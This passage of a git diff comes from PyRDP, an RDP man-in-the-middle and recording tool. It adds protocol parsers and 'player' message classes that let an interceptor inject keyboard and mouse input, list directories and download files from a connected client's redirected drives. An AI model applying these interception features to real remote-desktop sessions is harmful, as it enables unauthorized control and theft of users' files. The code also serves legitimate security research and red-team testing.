decodeUTF16LE(fileName) + + info = FileFullDirectoryInformation( + fileIndex, + creationTime, + lastAccessTime, + lastWriteTime, + lastChangeTime, + endOfFilePosition, + allocationSize, + fileAttributes, + eaSize, + fileName + ) + + information.append(info) + + return information + + + def writeFileFullDirectoryInformation(self, information: List[FileFullDirectoryInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint64LE.pack(info.creationTime, substream) + Uint64LE.pack(info.lastAccessTime, substream) + Uint64LE.pack(info.lastWriteTime, substream) + Uint64LE.pack(info.lastChangeTime, substream) + Uint64LE.pack(info.endOfFilePosition, substream) + Uint64LE.pack(info.allocationSize, substream) + Uint32LE.pack(info.fileAttributes, substream) + Uint32LE.pack(len(fileName), substream) + Uint32LE.pack(info.eaSize, substream) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def parseFileBothDirectoryInformation(self, data: bytes) -> List[FileBothDirectoryInformation]: + stream = BytesIO(data) + information: [FileBothDirectoryInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + creationTime = Uint64LE.unpack(stream) + lastAccessTime = Uint64LE.unpack(stream) + lastWriteTime = Uint64LE.unpack(stream) + lastChangeTime = Uint64LE.unpack(stream) + endOfFilePosition = Uint64LE.unpack(stream) + allocationSize = Uint64LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + fileNameLength = Uint32LE.unpack(stream) + eaSize = Uint32LE.unpack(stream) + shortNameLength = Uint8.unpack(stream) + # stream.read(1) # reserved (not actually used, WTF Microsoft ????) + shortName = stream.read(24)[: min(24, shortNameLength)] + fileName = stream.read(fileNameLength) + + if nextEntryOffset != 0: + stream.read(8 - stream.tell() % 8) # alignment + break + + shortName = decodeUTF16LE(shortName) + fileName = decodeUTF16LE(fileName) + + info = FileBothDirectoryInformation( + fileIndex, + creationTime, + lastAccessTime, + lastWriteTime, + lastChangeTime, + endOfFilePosition, + allocationSize, + fileAttributes, + eaSize, + shortName, + fileName + ) + + information.append(info) + + return information + + + def writeFileBothDirectoryInformation(self, information: List[FileBothDirectoryInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + shortName = info.shortName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint64LE.pack(info.creationTime, substream) + Uint64LE.pack(info.lastAccessTime, substream) + Uint64LE.pack(info.lastWriteTime, substream) + Uint64LE.pack(info.lastChangeTime, substream) + Uint64LE.pack(info.endOfFilePosition, substream) + Uint64LE.pack(info.allocationSize, substream) + Uint32LE.pack(info.fileAttributes, substream) + Uint32LE.pack(len(fileName), substream) + Uint32LE.pack(info.eaSize, substream) + Uint8.pack(len(shortName), substream) + # stream.write(b"\x00") # reserved + substream.write(shortName.ljust(24, b"\x00")[: 24]) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def parseFileNamesInformation(self, data: bytes) -> List[FileNamesInformation]: + stream = BytesIO(data) + information: [FileNamesInformation] = [] + + while stream.tell() < len(data): + nextEntryOffset = Uint32LE.unpack(stream) + fileIndex = Uint32LE.unpack(stream) + fileNameLength = Uint32LE.unpack(stream) + fileName = stream.read(fileNameLength) + + if nextEntryOffset != 0: + stream.read(8 - stream.tell() % 8) # alignment + break + + fileName = decodeUTF16LE(fileName) + + info = FileNamesInformation(fileIndex, fileName) + information.append(info) + + return information + + + def writeFileNamesInformation(self, information: List[FileNamesInformation], stream: BytesIO): + dataList: [bytes] = [] + + for info in information: + substream = BytesIO() + fileName = info.fileName.encode("utf-16le") + + Uint32LE.pack(info.fileIndex, substream) + Uint32LE.pack(len(fileName), substream) + substream.write(fileName) + + dataList.append(substream.getvalue()) + + self.writeFileInformationList(dataList, stream) + + + def convertWindowsTimeStamp(self, timeStamp: int) -> int: + """ + Convert Windows time (in 100-ns) to Unix time (in ms). + :param timeStamp: the Windows time stamp in 100-ns. + """ + # Difference between Unix time epoch and Windows time epoch + offset = 116444736000000000 # in 100-ns + result = timeStamp - offset # in 100-ns + return result // 10 # in ms \ No newline at end of file diff --git a/pyrdp/parser/recording.py b/pyrdp/parser/recording.py deleted file mode 100644 index 07a367652..000000000 --- a/pyrdp/parser/recording.py +++ /dev/null @@ -1,38 +0,0 @@ -from io import BytesIO - -from pyrdp.core import Uint16LE, Uint64LE -from pyrdp.enum import PlayerMessageType -from pyrdp.parser import SegmentationParser -from pyrdp.pdu import PlayerMessagePDU - - -class PlayerMessageParser(SegmentationParser): - def parse(self, data: bytes) -> PlayerMessagePDU: - stream = BytesIO(data) - - length = Uint64LE.unpack(stream) - type = PlayerMessageType(Uint16LE.unpack(stream)) - timestamp = Uint64LE.unpack(stream) - payload = stream.read(length - 18) - - return PlayerMessagePDU(type, timestamp, payload) - - def write(self, pdu: PlayerMessagePDU) -> bytes: - stream = BytesIO() - - # 18 bytes of header + the payload - Uint64LE.pack(len(pdu.payload) + 18, stream) - Uint16LE.pack(pdu.header, stream) - Uint64LE.pack(pdu.timestamp, stream) - stream.write(pdu.payload) - - return stream.getvalue() - - def getPDULength(self, data): - return Uint64LE.unpack(data[: 8]) - - def isCompletePDU(self, data): - if len(data) < 8: - return False - - return len(data) >= self.getPDULength(data) \ No newline at end of file diff --git a/pyrdp/parser/tcp.py b/pyrdp/parser/tcp.py index aa8d9d0f2..a13ea50b4 100644 --- a/pyrdp/parser/tcp.py +++ b/pyrdp/parser/tcp.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pyrdp.parser import Parser from pyrdp.pdu import PDU from pyrdp.pdu.tcp import TCPPDU diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index 11cd0f29b..8797f137a 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -9,6 +9,11 @@ MCSChannelJoinRequestPDU, MCSConnectInitialPDU, MCSConnectResponsePDU, MCSDisconnectProviderUltimatumPDU, \ MCSDomainParams, MCSErectDomainRequestPDU, MCSPDU, MCSSendDataIndicationPDU, MCSSendDataRequestPDU from pyrdp.pdu.pdu import PDU +from pyrdp.pdu.player import Color, PlayerBitmapPDU, PlayerConnectionClosePDU, PlayerDeviceMappingPDU, \ + PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU, PlayerFileDescription, \ + PlayerFileDownloadCompletePDU, PlayerFileDownloadRequestPDU, PlayerFileDownloadResponsePDU, \ + PlayerForwardingStatePDU, PlayerKeyboardPDU, PlayerMouseButtonPDU, PlayerMouseMovePDU, PlayerMouseWheelPDU, \ + PlayerPDU, PlayerTextPDU from pyrdp.pdu.rdp.bitmap import BitmapUpdateData from pyrdp.pdu.rdp.capability import BitmapCacheHostSupportCapability, BitmapCacheV1Capability, BitmapCacheV2Capability, \ BitmapCapability, BitmapCodec, BitmapCodecsCapability, BrushCapability, Capability, ClientCapsContainer, \ @@ -22,8 +27,9 @@ from pyrdp.pdu.rdp.connection import ClientChannelDefinition, ClientClusterData, ClientCoreData, ClientDataPDU, \ ClientNetworkData, ClientSecurityData, ProprietaryCertificate, ServerCertificate, ServerCoreData, ServerDataPDU, \ ServerNetworkData, ServerSecurityData -from pyrdp.pdu.rdp.fastpath import FastPathBitmapEvent, FastPathEvent, FastPathEventRaw, FastPathMouseEvent, \ - FastPathOrdersEvent, FastPathOutputEvent, FastPathPDU, FastPathScanCodeEvent, SecondaryDrawingOrder +from pyrdp.pdu.rdp.fastpath import FastPathBitmapEvent, FastPathEvent, FastPathEventRaw, FastPathInputEvent, \ + FastPathMouseEvent, FastPathOrdersEvent, FastPathOutputEvent, FastPathOutputEvent, FastPathPDU, \ + FastPathScanCodeEvent, FastPathUnicodeEvent, SecondaryDrawingOrder from pyrdp.pdu.rdp.input import ExtendedMouseEvent, KeyboardEvent, MouseEvent, SlowPathInput, SynchronizeEvent, \ UnicodeKeyboardEvent, UnusedEvent from pyrdp.pdu.rdp.licensing import LicenseBinaryBlob, LicenseErrorAlertPDU, LicensingPDU @@ -37,12 +43,14 @@ from pyrdp.pdu.rdp.virtual_channel.clipboard import ClipboardPDU, FormatDataRequestPDU, FormatDataResponsePDU, \ FormatListPDU, FormatListResponsePDU, FormatName, LongFormatName, ServerMonitorReadyPDU, ShortFormatName from pyrdp.pdu.rdp.virtual_channel.device_redirection import DeviceAnnounce, DeviceCloseRequestPDU, \ - DeviceCloseResponsePDU, DeviceCreateRequestPDU, DeviceCreateResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ - DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceReadResponsePDU, DeviceRedirectionCapabilitiesPDU, \ - DeviceRedirectionCapability, DeviceRedirectionClientCapabilitiesPDU, DeviceRedirectionGeneralCapability, \ - DeviceRedirectionPDU, DeviceRedirectionServerCapabilitiesPDU + DeviceCloseResponsePDU, DeviceCreateRequestPDU, DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, \ + DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, \ + DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, DeviceReadResponsePDU, \ + DeviceRedirectionCapabilitiesPDU, DeviceRedirectionCapability, DeviceRedirectionClientCapabilitiesPDU, \ + DeviceRedirectionGeneralCapability, DeviceRedirectionPDU, DeviceRedirectionServerCapabilitiesPDU, \ + FileBothDirectoryInformation, FileDirectoryInformation, FileFullDirectoryInformation, FileInformationBase, \ + FileNamesInformation from pyrdp.pdu.rdp.virtual_channel.virtual_channel import VirtualChannelPDU -from pyrdp.pdu.recording import PlayerMessagePDU from pyrdp.pdu.segmentation import SegmentationPDU from pyrdp.pdu.tpkt import TPKTPDU from pyrdp.pdu.x224 import X224ConnectionConfirmPDU, X224ConnectionRequestPDU, X224DataPDU, X224DisconnectRequestPDU, \ diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py new file mode 100644 index 000000000..d13ba6e2d --- /dev/null +++ b/pyrdp/pdu/player.py @@ -0,0 +1,219 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2018 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from typing import List + +from pyrdp.enum import DeviceType, PlayerPDUType +from pyrdp.enum.player import MouseButton +from pyrdp.pdu.pdu import PDU + + +class PlayerPDU(PDU): + """ + PDU to encapsulate different types (ex: input, output, creds) for (re)play purposes. + Also contains a timestamp. + """ + + def __init__(self, header: PlayerPDUType, timestamp: int, payload: bytes): + self.header = header # Uint16LE + self.timestamp = timestamp # Uint64LE + PDU.__init__(self, payload) + + +class PlayerConnectionClosePDU(PlayerPDU): + def __init__(self, timestamp: int): + super().__init__(PlayerPDUType.CONNECTION_CLOSE, timestamp, b"") + + +class PlayerMouseMovePDU(PlayerPDU): + """ + PDU definition for mouse move events coming from the player. + """ + + def __init__(self, timestamp: int, x: int, y: int): + super().__init__(PlayerPDUType.MOUSE_MOVE, timestamp, b"") + self.x = x + self.y = y + + +class PlayerMouseButtonPDU(PlayerPDU): + """ + PDU definition for mouse button events coming from the player. + """ + + def __init__(self, timestamp: int, x: int, y: int, button: MouseButton, pressed: bool): + super().__init__(PlayerPDUType.MOUSE_BUTTON, timestamp, b"") + self.x = x + self.y = y + self.button = button + self.pressed = pressed + + +class PlayerMouseWheelPDU(PlayerPDU): + """ + PDU definition for mouse wheel events coming from the player. + """ + + def __init__(self, timestamp: int, x: int, y: int, delta: int, horizontal: bool): + super().__init__(PlayerPDUType.MOUSE_WHEEL, timestamp, b"") + self.x = x + self.y = y + self.delta = delta + self.horizontal = horizontal + + +class PlayerKeyboardPDU(PlayerPDU): + """ + PDU definition for keyboard events coming from the player. + """ + + def __init__(self, timestamp: int, code: int, released: bool, extended: bool): + super().__init__(PlayerPDUType.KEYBOARD, timestamp, b"") + self.code = code + self.released = released + self.extended = extended + + +class PlayerTextPDU(PlayerPDU): + """ + PDU definition for text events coming from the player. + """ + + def __init__(self, timestamp: int, character: str, released: bool): + super().__init__(PlayerPDUType.TEXT, timestamp, b"") + self.character = character + self.released = released + + +class PlayerForwardingStatePDU(PlayerPDU): + """ + PDU definition for changing the state of I/O forwarding. + """ + + def __init__(self, timestamp: int, forwardInput: bool, forwardOutput: bool): + super().__init__(PlayerPDUType.FORWARDING_STATE, timestamp, b"") + self.forwardInput = forwardInput + self.forwardOutput = forwardOutput + + +class Color: + def __init__(self, r: int, g: int, b: int, a: int): + self.r = r + self.g = g + self.b = b + self.a = a + +class PlayerBitmapPDU(PlayerPDU): + """ + PDU definition for bitmap events. + """ + + def __init__(self, timestamp: int, width: int, height: int, pixels: bytes): + """ + :param timestamp: timestamp. + :param width: bitmap width. + :param height: bitmap height. + :param pixels: Array of colors organized in a left to right, top to bottom fashion: [(x0, y0), (x1, y0), ..., (x0, y1), (x1, y1)]. + """ + + super().__init__(PlayerPDUType.BITMAP, timestamp, b"") + self.width = width + self.height = height + self.pixels = pixels + + def __repr__(self): + properties = dict(self.__dict__) + properties["pixels"] = f"[Color * {len(self.pixels)}]" + representation = self.__class__.__name__ + str(properties) + return representation + + +class PlayerDeviceMappingPDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, deviceType: DeviceType, name: str): + super().__init__(PlayerPDUType.DEVICE_MAPPING, timestamp, b"") + self.deviceID = deviceID + self.deviceType = deviceType + self.name = name + + +class PlayerDirectoryListingRequestPDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, path: str): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + """ + + super().__init__(PlayerPDUType.DIRECTORY_LISTING_REQUEST, timestamp, b"") + self.deviceID = deviceID + self.path = path + + +class PlayerFileDescription(PDU): + def __init__(self, filePath: str, isDirectory: bool): + """ + :param filePath: Unix-style path of the file. + :param isDirectory: True if the file is a directory. + """ + + super().__init__() + self.path = filePath + self.isDirectory = isDirectory + + +class PlayerDirectoryListingResponsePDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, fileDescriptions: List[PlayerFileDescription]): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param fileDescriptions: list of file descriptions. + """ + + super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") + self.deviceID = deviceID + self.fileDescriptions = fileDescriptions + + +class PlayerFileDownloadRequestPDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, path: str): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + """ + + super().__init__(PlayerPDUType.FILE_DOWNLOAD_REQUEST, timestamp, b"") + self.deviceID = deviceID + self.path = path + +class PlayerFileDownloadResponsePDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, path: str, offset: int, payload: bytes): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + :param offset: offset at which the data starts in the file. + :param payload: file data that was read. + """ + + super().__init__(PlayerPDUType.FILE_DOWNLOAD_RESPONSE, timestamp, payload) + self.deviceID = deviceID + self.path = path + self.offset = offset + +class PlayerFileDownloadCompletePDU(PlayerPDU): + def __init__(self, timestamp: int, deviceID: int, path: str, error: int): + """ + :param timestamp: time stamp for this PDU. + :param deviceID: ID of the device used. + :param path: path of the directory to list. The path should be a Unix-style path. + :param error: error that resulted in completion (0 if nothing went wrong). + """ + + super().__init__(PlayerPDUType.FILE_DOWNLOAD_COMPLETE, timestamp, b"") + self.deviceID = deviceID + self.path = path + self.error = error \ No newline at end of file diff --git a/pyrdp/pdu/rdp/__init__.py b/pyrdp/pdu/rdp/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/pdu/rdp/__init__.py +++ b/pyrdp/pdu/rdp/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/pdu/rdp/fastpath.py b/pyrdp/pdu/rdp/fastpath.py index 2d7d3a25b..c00e3dbe2 100644 --- a/pyrdp/pdu/rdp/fastpath.py +++ b/pyrdp/pdu/rdp/fastpath.py @@ -4,7 +4,7 @@ # Licensed under the GPLv3 or later. # -from typing import List, Optional +from typing import List, Optional, Union from pyrdp.enum import SegmentationPDUType from pyrdp.pdu.pdu import PDU @@ -24,7 +24,7 @@ def __init__(self, payload: bytes = b""): class FastPathPDU(SegmentationPDU): def __init__(self, header: int, events: [FastPathEvent]): - PDU.__init__(self) + super().__init__(b"") self.header = header self.events = events @@ -58,10 +58,10 @@ def __init__(self, header: int, compressionFlags: Optional[int], payload: bytes class FastPathScanCodeEvent(FastPathInputEvent): - def __init__(self, rawHeaderByte: int, scancode: int, isReleased: bool): - FastPathEvent.__init__(self) + def __init__(self, rawHeaderByte: int, scanCode: int, isReleased: bool): + super().__init__() self.rawHeaderByte = rawHeaderByte - self.scancode = scancode + self.scanCode = scanCode self.isReleased = isReleased @@ -71,15 +71,26 @@ class FastPathMouseEvent(FastPathInputEvent): """ def __init__(self, rawHeaderByte: int, pointerFlags: int, mouseX: int, mouseY: int): - FastPathEvent.__init__(self) + super().__init__() self.rawHeaderByte = rawHeaderByte self.mouseY = mouseY self.mouseX = mouseX self.pointerFlags = pointerFlags +class FastPathUnicodeEvent(FastPathInputEvent): + """ + Unicode event (text presses and releases) + """ + + def __init__(self, text: Union[str, bytes], released: bool): + super().__init__() + self.text = text + self.released = released + + class FastPathBitmapEvent(FastPathOutputEvent): - def __init__(self, header: int, compressionFlags: int, bitmapUpdateData: List[BitmapUpdateData], payload: bytes): + def __init__(self, header: int, compressionFlags: Optional[int], bitmapUpdateData: List[BitmapUpdateData], payload: bytes): super().__init__(header, compressionFlags, payload) self.bitmapUpdateData = bitmapUpdateData @@ -88,7 +99,7 @@ class FastPathOrdersEvent(FastPathOutputEvent): """ https://msdn.microsoft.com/en-us/library/cc241573.aspx """ - def __init__(self, header: int, compressionFlags: int, orderCount: int, orderData: bytes): + def __init__(self, header: int, compressionFlags: Optional[int], orderCount: int, orderData: bytes): super().__init__(header, compressionFlags) self.compressionFlags = compressionFlags self.orderCount = orderCount diff --git a/pyrdp/pdu/rdp/virtual_channel/__init__.py b/pyrdp/pdu/rdp/virtual_channel/__init__.py index e69de29bb..3b1dd6904 100644 --- a/pyrdp/pdu/rdp/virtual_channel/__init__.py +++ b/pyrdp/pdu/rdp/virtual_channel/__init__.py @@ -0,0 +1,5 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# \ No newline at end of file diff --git a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py index b1e19d8f3..2c4cd0afa 100644 --- a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py @@ -4,10 +4,12 @@ # Licensed under the GPLv3 or later. # -from typing import Dict, List +from typing import Dict, List, Optional -from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, MajorFunction, RDPDRCapabilityType -from pyrdp.pdu.pdu import PDU +from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileAttributes, \ + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, MajorFunction, MinorFunction, \ + RDPDRCapabilityType +from pyrdp.pdu import PDU class DeviceRedirectionPDU(PDU): @@ -21,20 +23,6 @@ def __init__(self, component: int, packetID: int, payload=b""): self.packetID: DeviceRedirectionPacketID = DeviceRedirectionPacketID(packetID) -class DeviceIOResponsePDU(DeviceRedirectionPDU): - """ - https://msdn.microsoft.com/en-us/library/cc241334.aspx - """ - - def __init__(self, deviceID: int, completionID: int, ioStatus: int, payload=b""): - super().__init__(DeviceRedirectionComponent.RDPDR_CTYP_CORE, - DeviceRedirectionPacketID.PAKID_CORE_DEVICE_IOCOMPLETION) - self.deviceID = deviceID - self.completionID = completionID - self.ioStatus = ioStatus - self.payload = payload - - class DeviceIORequestPDU(DeviceRedirectionPDU): """ https://msdn.microsoft.com/en-us/library/cc241327.aspx @@ -49,26 +37,18 @@ def __init__(self, deviceID: int, fileID: int, completionID: int, majorFunction: self.minorFunction = minorFunction -class DeviceReadResponsePDU(DeviceIOResponsePDU): - """ - https://msdn.microsoft.com/en-us/library/cc241337.aspx - """ - - def __init__(self, deviceID: int, completionID: int, ioStatus: int, readData: bytes): - super().__init__(deviceID, completionID, ioStatus) - self.readData = readData - - -class DeviceReadRequestPDU(DeviceIORequestPDU): +class DeviceIOResponsePDU(DeviceRedirectionPDU): """ - https://msdn.microsoft.com/en-us/library/cc241330.aspx + https://msdn.microsoft.com/en-us/library/cc241334.aspx """ - def __init__(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, - length: int, offset: int): - super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_READ, minorFunction) - self.length = length - self.offset = offset + def __init__(self, majorFunction: Optional[MajorFunction], deviceID: int, completionID: int, ioStatus: int, payload=b""): + super().__init__(DeviceRedirectionComponent.RDPDR_CTYP_CORE, DeviceRedirectionPacketID.PAKID_CORE_DEVICE_IOCOMPLETION) + self.majorFunction = majorFunction + self.deviceID = deviceID + self.completionID = completionID + self.ioStatus = ioStatus + self.payload = payload class DeviceCreateRequestPDU(DeviceIORequestPDU): @@ -77,8 +57,8 @@ class DeviceCreateRequestPDU(DeviceIORequestPDU): """ def __init__(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, - desiredAccess: int, allocationSize: int, fileAttributes: int, sharedAccess: int, - createDisposition: int, createOptions: int, path: bytes): + desiredAccess: int, allocationSize: int, fileAttributes: FileAttributes, sharedAccess: FileShareAccess, + createDisposition: FileCreateDisposition, createOptions: FileCreateOptions, path: str): super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_CREATE, minorFunction) self.desiredAccess = desiredAccess self.allocationSize = allocationSize @@ -94,12 +74,33 @@ class DeviceCreateResponsePDU(DeviceIOResponsePDU): https://msdn.microsoft.com/en-us/library/cc241335.aspx """ - def __init__(self, deviceID: int, completionID: int, ioStatus: int, fileID: int, information: bytes= b""): - super().__init__(deviceID, completionID, ioStatus) + def __init__(self, deviceID: int, completionID: int, ioStatus: int, fileID: int, information: int): + super().__init__(MajorFunction.IRP_MJ_CREATE, deviceID, completionID, ioStatus) self.fileID = fileID self.information = information +class DeviceReadRequestPDU(DeviceIORequestPDU): + """ + https://msdn.microsoft.com/en-us/library/cc241330.aspx + """ + + def __init__(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, + length: int, offset: int): + super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_READ, minorFunction) + self.length = length + self.offset = offset + + +class DeviceReadResponsePDU(DeviceIOResponsePDU): + """ + https://msdn.microsoft.com/en-us/library/cc241337.aspx + """ + + def __init__(self, deviceID: int, completionID: int, ioStatus: int, readData: bytes): + super().__init__(MajorFunction.IRP_MJ_READ, deviceID, completionID, ioStatus, readData) + + class DeviceCloseRequestPDU(DeviceIORequestPDU): """ https://msdn.microsoft.com/en-us/library/cc241329.aspx @@ -115,7 +116,89 @@ class DeviceCloseResponsePDU(DeviceIOResponsePDU): """ def __init__(self, deviceID: int, completionID: int, ioStatus: int): - super().__init__(deviceID, completionID, ioStatus) + super().__init__(MajorFunction.IRP_MJ_CLOSE, deviceID, completionID, ioStatus) + + +class FileInformationBase(PDU): + def __init__(self, informationClass: FileSystemInformationClass, fileName: str): + super().__init__(b"") + self.informationClass = informationClass + self.fileName = fileName + + +class FileDirectoryInformation(FileInformationBase): + def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, fileName: str): + super().__init__(FileSystemInformationClass.FileDirectoryInformation, fileName) + self.fileIndex = fileIndex + self.creationTime = creationTime + self.lastAccessTime = lastAccessTime + self.lastWriteTime = lastWriteTime + self.lastChangeTime = lastChangeTime + self.endOfFilePosition = endOfFilePosition + self.allocationSize = allocationSize + self.fileAttributes = fileAttributes + + +class FileFullDirectoryInformation(FileInformationBase): + def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, eaSize: int, fileName: str): + super().__init__(FileSystemInformationClass.FileFullDirectoryInformation, fileName) + self.fileIndex = fileIndex + self.creationTime = creationTime + self.lastAccessTime = lastAccessTime + self.lastWriteTime = lastWriteTime + self.lastChangeTime = lastChangeTime + self.endOfFilePosition = endOfFilePosition + self.allocationSize = allocationSize + self.fileAttributes = fileAttributes + self.eaSize = eaSize + + +class FileBothDirectoryInformation(FileInformationBase): + def __init__(self, fileIndex: int, creationTime: int, lastAccessTime: int, lastWriteTime: int, lastChangeTime: int, endOfFilePosition: int, allocationSize: int, fileAttributes: FileAttributes, eaSize: int, shortName: str, fileName: str): + super().__init__(FileSystemInformationClass.FileBothDirectoryInformation, fileName) + self.fileIndex = fileIndex + self.creationTime = creationTime + self.lastAccessTime = lastAccessTime + self.lastWriteTime = lastWriteTime + self.lastChangeTime = lastChangeTime + self.endOfFilePosition = endOfFilePosition + self.allocationSize = allocationSize + self.fileAttributes = fileAttributes + self.eaSize = eaSize + self.shortName = shortName + + +class FileNamesInformation(FileInformationBase): + def __init__(self, fileIndex: int, fileName: str): + super().__init__(FileSystemInformationClass.FileNamesInformation, fileName) + self.fileIndex = fileIndex + + +class DeviceQueryDirectoryRequestPDU(DeviceIORequestPDU): + def __init__(self, deviceID: int, fileID: int, completionID: int, informationClass: FileSystemInformationClass, initialQuery: int, path: str): + super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_DIRECTORY_CONTROL, MinorFunction.IRP_MN_QUERY_DIRECTORY) + self.informationClass = informationClass + self.initialQuery = initialQuery + self.path = path + + +class DeviceDirectoryControlResponsePDU(DeviceIOResponsePDU): + def __init__(self, minorFunction: MinorFunction, deviceID: int, completionID: int, ioStatus: int, payload: bytes = b""): + super().__init__(MajorFunction.IRP_MJ_DIRECTORY_CONTROL, deviceID, completionID, ioStatus, payload) + self.minorFunction = minorFunction + + +class DeviceQueryDirectoryResponsePDU(DeviceDirectoryControlResponsePDU): + def __init__(self, deviceID: int, completionID: int, ioStatus: int, informationClass: FileSystemInformationClass, fileInformation: List[FileInformationBase], endByte: bytes): + super().__init__(MinorFunction.IRP_MN_QUERY_DIRECTORY, deviceID, completionID, ioStatus) + self.informationClass = informationClass + self.fileInformation = fileInformation + + # Named "padding" in the documentation. + # This byte is actually important, for some reason Windows uses it even though the documentation says + # it should be ignored. + # See MS-RDPEFS 2.2.3.4.10 + self.endByte = endByte class DeviceAnnounce(PDU): @@ -123,11 +206,11 @@ class DeviceAnnounce(PDU): https://msdn.microsoft.com/en-us/library/cc241326.aspx """ - def __init__(self, deviceType: DeviceType, deviceID: int, preferredDosName: bytes, deviceData: bytes): + def __init__(self, deviceType: DeviceType, deviceID: int, preferredDOSName: str, deviceData: bytes): super().__init__() self.deviceID = deviceID self.deviceType = deviceType - self.preferredDosName = preferredDosName + self.preferredDOSName = preferredDOSName self.deviceData = deviceData @@ -158,7 +241,7 @@ class DeviceRedirectionGeneralCapability(DeviceRedirectionCapability): def __init__(self, version: int, osType: int, osVersion: int, protocolMajorVersion: int, protocolMinorVersion: int, ioCode1: int, ioCode2: int, extendedPDU: int, extraFlags1: int, - extraFlags2: int, specialTypeDeviceCap: int): + extraFlags2: int, specialTypeDeviceCap: Optional[int]): super().__init__(RDPDRCapabilityType.CAP_GENERAL_TYPE, version) self.osType = osType self.osVersion = osVersion diff --git a/pyrdp/pdu/recording.py b/pyrdp/pdu/recording.py deleted file mode 100644 index cb9bee3ec..000000000 --- a/pyrdp/pdu/recording.py +++ /dev/null @@ -1,20 +0,0 @@ -# -# This file is part of the PyRDP project. -# Copyright (C) 2018 GoSecure Inc. -# Licensed under the GPLv3 or later. -# - -from pyrdp.enum import PlayerMessageType -from pyrdp.pdu.pdu import PDU - - -class PlayerMessagePDU(PDU): - """ - PDU to encapsulate different types (ex: input, output, creds) for (re)play purposes. - Also contains a timestamp. - """ - - def __init__(self, header: PlayerMessageType, timestamp: int, payload: bytes): - self.header = header # Uint16LE - self.timestamp = timestamp # Uint64LE - PDU.__init__(self, payload) diff --git a/pyrdp/pdu/tcp.py b/pyrdp/pdu/tcp.py index b89a50894..9ab39d5b4 100644 --- a/pyrdp/pdu/tcp.py +++ b/pyrdp/pdu/tcp.py @@ -1,3 +1,9 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pyrdp.pdu import PDU diff --git a/pyrdp/player/AttackerBar.py b/pyrdp/player/AttackerBar.py new file mode 100644 index 000000000..650080a4b --- /dev/null +++ b/pyrdp/player/AttackerBar.py @@ -0,0 +1,44 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +import logging + +from PySide2.QtCore import Signal +from PySide2.QtWidgets import QHBoxLayout, QWidget, QSpacerItem, QSizePolicy + +from pyrdp.logging import LOGGER_NAMES +from pyrdp.ui import PlayPauseButton + + +class 